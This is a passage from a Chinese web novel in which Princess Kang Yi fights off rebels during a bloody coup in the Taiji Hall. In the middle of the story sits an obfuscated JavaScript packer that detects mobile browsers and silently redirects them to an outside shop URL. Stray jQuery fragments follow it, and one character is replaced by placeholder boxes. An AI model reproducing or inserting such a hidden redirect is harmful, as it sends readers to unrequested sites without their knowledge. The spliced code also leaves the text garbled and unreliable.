殿门处的厮杀声骤然拔高,又一道防线被突破!三名叛军悍卒冲破护卫的阻拦,浑身浴血,面目狰狞,直扑康怡所在的方向。他们手中的刀,在火光下反射着嗜血的光。苏婉惊叫一声,想挡在康怡身前,却被康怡轻轻推开。康怡站在原地,素衣白裳,在血腥混乱的大殿中,像一朵即将被暴风雨摧折的白梅。她缓缓抬起手,袖中,那柄冰凉的匕首滑入掌心。刀锋,对准了扑来的敌人。
“保护殿下!”
一声暴喝从侧面传来,一名须发花白的老臣——礼部侍郎张谦,竟从文官队列中冲出,张开双臂挡在康怡身前。他手中没有兵器,只有一根用来支撑身体的紫檀木拐杖。冲在最前的叛军狞笑着,一刀劈下!
噗嗤——
刀刃入肉的声音沉闷而清晰。
鲜血,滚烫的鲜血,喷溅而出,溅在康怡素白的孝服前襟,绽开一朵刺目的红梅。张谦的身体晃了晃,拐杖脱手落地,发出“咚”的一声闷响。他缓缓转过头,看向康怡,浑浊的老眼里竟有一丝释然,嘴唇翕动,似乎想说什么,却只涌出一口血沫,然后整个人向前扑倒。
时间,仿佛在这一刻凝固。
康怡看着那滩迅速蔓延开的暗红,看着张谦至死都微微张开、试图护住她的手臂。前世的记忆碎片与眼前的血腥重叠——那些为她而死的忠臣、部将、挚友……一张张面孔在眼前闪过。冰冷的杀意,从未如此刻这般清晰、如此刻这般沸腾,从心脏最深处涌出,瞬间冻结了所有恐惧与犹豫。
“张大人!”苏婉的哭喊声撕心裂肺。
康怡却已听不见。她猛地抬头,目光越过倒下的尸体,看向那三名因杀戮而兴奋、再次扑来的叛军。她握紧了匕首,身体微微前倾,竟是要迎上去!
“放肆!”
一声厉喝,伴随着一道凌厉的破空声!
一支羽箭,从殿内角落射出,精准地钉入最前方叛军的咽喉!那叛军前冲的势头戛然而止,捂着脖子,嗬嗬作响地倒下。紧接着,两道身影如猎豹般从文官队列后方窜出,一人持短刃,一人持铜锏,正是两名平日里不显山露水的武将——兵部职方司郎中赵猛,以及其副手。两人动作迅捷狠辣,瞬间与剩余两名叛军缠斗在一起,刀光剑影,金铁交鸣。
混乱中,康王周景琰的狂笑声再次响起,充满了歇斯底里的快意:“周景怡!你看到了吗?这就是违逆本王的下场!今日这太极殿,便是你的葬身之地!杀!给本王杀光他们!一个不留!”
随着他的吼声,殿外喊杀声更盛,火光几乎将整个殿门映成橘红色。透过洞开的大门,可以看见萧破军魁梧的身影在人群中左冲右突,手中长刀已卷刃,身上铠甲破碎,鲜血染红了半边身子,但他依旧死战不退,率领着仅存的二十余名忠诚护卫,死死扼守着殿门这道最后的防线。叛军如潮水般涌来,刀枪如林,不断有护卫惨叫着倒下,尸体堆积在门槛处,又被后续的叛军践踏。
殿内,同样乱作一团。
文官们早已吓得魂飞魄散,有的瘫软在地瑟瑟发抖,有的试图寻找掩体躲藏,哭喊声、惊叫声不绝于耳。而武将们则反应不一,一部分早已拔刀,自发地聚拢到康怡所在方向,与冲入殿内的少量叛军及康王侍卫对峙;另一部分则犹豫观望,目光在康王与康怡之间游移;更有极少数,眼神闪烁,悄然向康王那边靠拢。
“殿下,此地危险,请速退!”沈青崖的声音在康怡耳边响起,急促而清晰。他已护在康怡另一侧,手中不知何时多了一柄细长的判官笔,笔尖寒光闪烁。
康怡深吸一口气,空气中浓烈的血腥味、汗臭味、燃烧的焦糊味混杂在一起,刺激着她的鼻腔。她强迫自己冷静下来,目光迅速扫过全场。
退?往哪里退?太极殿已是最后的核心,一旦失守,万事皆休。
她看着张谦的尸体,看着殿门外萧破军浴血奋战的背影,看着那些因她一声令下而拔刀相向的武将,看着沈青崖和苏婉眼中毫不掩饰的担忧与决绝。
前世,她退缩过,隐忍过,信任过,然后输得一无所有。
今生,绝不再退!
康怡猛地转身,几步退至先帝灵柩后方相对安全的角落,这里背靠巨大的蟠龙柱和厚重的棺椁,前方有沈青崖、苏婉及几名自发围拢过来的武将遮挡。她站定,挺直脊背,尽管孝服染血,发髻微乱,但那双眼睛,却亮得惊人,仿佛燃着两簇冰冷的火焰。
她运足中气,清越而坚定的声音穿透殿内的嘈杂与殿外的喊杀,清晰地传入每个人耳中:
“众将听令!”
声音不大,却带着一种不容置疑的威严。混乱的场面为之一静,许多人的目光不由自主地投向了她。
“康王周景琰,身世存疑,证据确凿,不思悔过,反于先帝灵前,悍然发动宫变,弑君谋逆,罪不容诛!”康怡一字一句,声音在空旷的大殿中回荡,“本宫,奉先帝遗命监国,在此诏令:凡我大周臣子、将士,即刻起,听从禁军统领萧破军统一号令,诛杀叛逆,护卫灵枢,平定宫变!擒杀首恶康王者,赏千金,封侯爵!附逆从贼者,格杀勿论,诛连九族!”
她的声音并不高亢,却字字千钧,带着监国长公主的天然法理与此刻绝境中迸发出的决绝意志。尤其是“弑君谋逆”四字,被她刻意加重——康王提前发动宫变,攻击奉安先帝灵柩的太极殿,攻击监国长公主,这本身就是最确凿的谋逆铁证!她要将这罪名,死死钉在康王身上!
“妖女胡言!本王乃父皇嫡子,清君侧,诛妖孽,何来谋逆!”康王气急败坏地怒吼,但他眼中一闪而过的慌乱,却被不少人看在眼里。
“萧破军!”康怡不再看康王,目光投向殿门血战之处,厉声喝道,“本宫命你,死守殿门!凡后退一步者,斩!凡临阵脱逃者,斩!凡不听号令者,斩!”
殿门外,浑身是血的萧破军闻声,精神陡然一振,嘶声回应:“末将领命!誓死护卫殿下,护卫灵枢!”他反手一刀劈翻一名叛军,怒吼道:“弟兄们!长公主有令!死守殿门!让这些叛逆看看,什么是大周禁军的骨头!”
残余的护卫齐声呐喊,原本濒临崩溃的防线,竟奇迹般地又稳固了几分。
“曹公公!”康怡转向身侧的老太监。
曹公公一直沉默地站在她斜后方,此刻立刻躬身:“老奴在。”
“你立刻设法,从密道出宫,联络端王殿下,告知宫内剧变,请他速速调兵平叛!同时,设法联系五城兵马司、巡防营,以及……谢家留在城外的暗桩!告诉他们,康王谋逆,太极殿危在旦夕,勤王救驾,在此一举!”康怡语速极快,但条理清晰。她深知,仅凭殿内这点兵力,绝难持久,外援是唯一的生机。端王态度暧昧,但此刻康王谋逆已成事实,他若还想在朝堂立足,就必须做出选择。而谢云舟离京前留下的那些人脉和暗桩,此刻成了她手中可能撬动局面的重要筹码。
曹公公眼中精光一闪,没有丝毫犹豫:“老奴遵命!定不负殿下所托!”他不再多言,对身边两名心腹小太监使了个眼色,三人悄然向大殿侧后方一处不起眼的帷幔后退去,那里据说有一条通往内廷某处的老旧密道。
康怡的安排果断而迅速,展现出了远超寻常女子的冷静与魄力。殿内那些原本还在观望的武将,不少人的眼神发生了变化。兵部赵猛刚刚与副手合力斩杀了两名叛军,此刻抹了把脸上的血,大步走到康怡前方,抱拳沉声道:“末将赵猛,愿听长公主调遣,诛杀叛逆!”
“末将愿往!”
“末将愿听长公主号令!”
有了带头的,又有七八名中下层武将站了出来,聚拢到康怡这边。他们或许官职不高,或许并非核心势力,但此刻的站队,却让康怡这边终于有了些像样的抵抗力量。沈青崖迅速低声与赵猛交流了几句,赵猛点头,立刻指挥这些武将,以灵柩和蟠龙柱为核心,布置起一道简易的环形防线,将康怡、苏婉以及部分吓得瘫软的重臣护在中间。
康王见状,更是怒不可遏:“一群不知死活的东西!给本王杀!先杀周景怡者,封万户侯!”
更多的叛军从殿外涌入,与殿内康王的侍卫合流,向康怡所在的环形防线发起了猛攻。刀剑碰撞声、怒吼声、惨叫声再次响成一片。赵猛等人虽然勇武,但人数劣势明显,防线很快被冲击得摇摇欲坠。
殿外的战况更是惨烈到了极点。
萧破军身边的护卫已经不足十人,人人带伤。叛军却源源不断,不仅从正门强攻,还有部分叛军绕到侧面,试图撞破窗户闯入。萧破军如同血海中屹立的礁石,长刀挥舞,每一刀都带着同归于尽的惨烈。一名叛军什长觑准空档,一□□向他的肋下,萧破军躲闪不及,枪尖刺入甲胄缝隙,鲜血迸溅。他却恍若未觉,反手抓住枪杆,怒吼一声,竟将那叛军连人带枪抡起,狠狠砸向后面涌来的敌人!
“破军!”康怡在殿内看得分明,心猛地一揪。
就在此时,殿外叛军后方忽然传来一阵更大的喧嚣和混乱,似乎有新的兵马加入战团,喊杀声从另一个方向传来!
“援军?是端王殿下吗?”苏婉惊喜地低呼。
康怡凝神望去,却见殿外火光乱晃,人影幢幢,新出现的兵马打的旗号混乱,似乎并非统一建制,与叛军厮杀在一起,暂时缓解了正门的压力。但显然,这并非端王的主力,更像是某些被突发宫变卷入的零星部队或者……另有所图之人。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17596684|205182||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“不是端王。”沈青崖眉头紧锁,低声道,“看旗号混杂,可能是被惊动的宫内其他值守兵马,或者……有人想趁火打劫。”
果然,那支突然出现的兵马并未全力攻击叛军,反而像是在混乱中试图控制通往太极殿的其他通道,与叛军和萧破军的人都有小规模接触,态度暧昧。
康怡的心沉了下去。外援未至,内患又添变数。
然而,殿门的危机并未解除。趁着外面短暂混乱,一部分悍勇的叛军再次集结,发起了更疯狂的冲锋。萧破军等人已是强弩之末,防线终于被撕开一道口子!
“挡住他们!”赵猛在殿内怒吼,带人扑向缺口。
但叛军人数太多,五六名凶悍的死士冲破拦截,嚎叫着直扑灵柩后的康怡!他们显然得到了死命令,眼中只有康怡一人,对沿途阻拦的武将攻击只是格挡,不顾一切地向前冲!
沈青崖判官笔疾点,刺倒一人。赵猛挥刀砍翻另一人。但仍有三人突破了最后防线,刀光凛冽,直取康怡面门!
苏婉尖叫着扑上来,被一名叛军随手挥刀逼退,踉跄倒地。
最近的一名叛军,脸上带着狰狞的笑,刀锋已映出康怡苍白的脸。
就在这千钧一发之际——
康怡动了。
她没有后退,反而向前踏出半步,身体以不可思议的角度微侧,那柄一直藏在袖中的匕首,如毒蛇吐信,精准地划过对方持刀的手腕!
“啊!”叛军惨叫一声,钢刀脱手。
康怡动作不停,顺势矮身,匕首向上反撩,狠狠刺入对方没有铠甲保护的小腹!温热的液体喷溅到手背。她毫不留恋地抽刀,一脚将惨叫的敌人踹开,迎向第二名叛军。
这一切发生在电光石火之间。第二名叛军显然没料到这位养尊处优的长公主竟有如此身手,愣了一下。就这一愣神的功夫,康怡已揉身而上,匕首直刺其咽喉!叛军慌忙举刀格挡,康怡却虚晃一招,匕首下沉,狠狠扎进他的大腿!叛军吃痛跪倒,被旁边反应过来的赵猛一刀结果。
第三名叛军见状,眼中凶光更盛,不管不顾地一刀劈下,势大力沉!
康怡旧力已尽,新力未生,眼看难以躲闪。
“殿下小心!”一声嘶哑的怒吼从殿门方向传来。
浑身浴血、如同血人般的萧破军,竟在此时不顾身后敌人,猛地将手中卷刃的长刀奋力掷出!
长刀化作一道血光,呼啸着贯穿了第三名叛军的胸膛,带着他向后飞跌,钉在了一根柱子上!
而萧破军自己,也因此后背空门大开,被追上来的一名叛军一刀砍在肩背,深可见骨!他闷哼一声,单膝跪地,用断剑撑住身体,却仍死死挡在殿门缺口处,不让更多叛军涌入。
“萧将军!”康怡目眦欲裂。
殿门,终于在这一刻,被彻底攻破!
更多的叛军如决堤洪水般涌入大殿,与殿内的守军混战在一起。刀光剑影,血肉横飞,太极殿这座庄严的皇家殿堂,彻底变成了修罗屠场。精美的蟠龙柱上溅满了鲜血,金砖地面被血污覆盖,空气中弥漫着令人作呕的浓重血腥气。
一名年迈的御史,试图用身体挡住冲向康怡方向的叛军,被一刀砍中胸膛,鲜血喷溅,有几滴温热地溅上了康怡的脸颊和素服。老御史倒下时,眼睛还望着康怡的方向,嘴唇无声地开合,仿佛在说“快走”。
康怡站在原地,脸上沾着血点,素服染满污血。她看着眼前地狱般的景象,看着不断倒下的忠臣和将士,看着远处康王那张因疯狂和得意而扭曲的脸。
冰冷的怒焰,在胸腔里燃烧,几乎要将她的理智焚尽。
但她不能乱。
她缓缓地,抬起手,伸向自己的发髻。指尖触碰到那根母亲留下的、样式古朴却异常锋利的凤头金簪。她用力,将金簪拔下。
乌黑的长发失去束缚,如瀑布般散落肩头,在血腥的风中微微飘动。
她握紧了金簪。
冰冷的金属触感,尖锐的簪尖抵着掌心,带来一丝刺痛,也带来一丝奇异的清醒。
殿外,火光冲天,不知是哪座偏殿被点燃了。喊杀声、哭嚎声、兵刃撞击声、建筑燃烧的噼啪声……汇成一片末日般的喧嚣。
殿内,防线在崩溃,忠诚者在流血,叛军在逼近。
康怡握着金簪,站在灵柩之前,散落的黑发与染血的素衣在混乱的气流中拂动。她的目光,越过厮杀的众人,越过弥漫的血雾,死死锁定了远处被亲信死士层层保护着的康王。
周景琰,你也看到了吗?
这血,这火,这尸山血海。
都是你逼出来的。
也是我,必须踏过去的。